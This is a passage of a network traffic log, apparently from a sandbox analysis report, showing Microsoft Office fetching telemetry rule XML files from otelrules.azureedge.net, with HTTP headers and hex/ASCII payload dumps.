20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:15 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051715Z-17c5cb586f672xmrz843mf85fn00000006b000000000dpwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:16 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:16 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051716Z-16849878b78zqkvcwgr6h55x9n0000000740000000000xx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:16 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:16 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:16 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051716Z-16849878b78q9m8bqvwuva4svc000000061000000000kau9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:16 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:16 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 6796a20d-a01e-00ab-565f-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051716Z-17c5cb586f6hn8cl90dxzu28kw00000007rg000000003fn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:16 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:16 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:16 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ee736da1-b01e-001e-7be0-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051716Z-17c5cb586f67hfgj2durhqcxk800000006hg000000002pwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:16 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:16 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:16 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:16 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051716Z-16849878b7867ttgfbpnfxt44s00000007bg00000000n42d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:17 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a88111ac-001e-0034-692b-2add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051717Z-15b8d89586fxdh48ft0acdbg4400000001fg000000000ust x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:17 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:17 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:17 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051717Z-16849878b78g2m84h2v9sta29000000006e000000000ffv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:17 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:17 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051717Z-16849878b7828dsgct3vrzta700000000600000000009gx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:17 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051717Z-16849878b7867ttgfbpnfxt44s00000007e000000000awk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:17 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051717Z-16849878b78wc6ln1zsrz6q9w80000000780000000009td7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:18 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
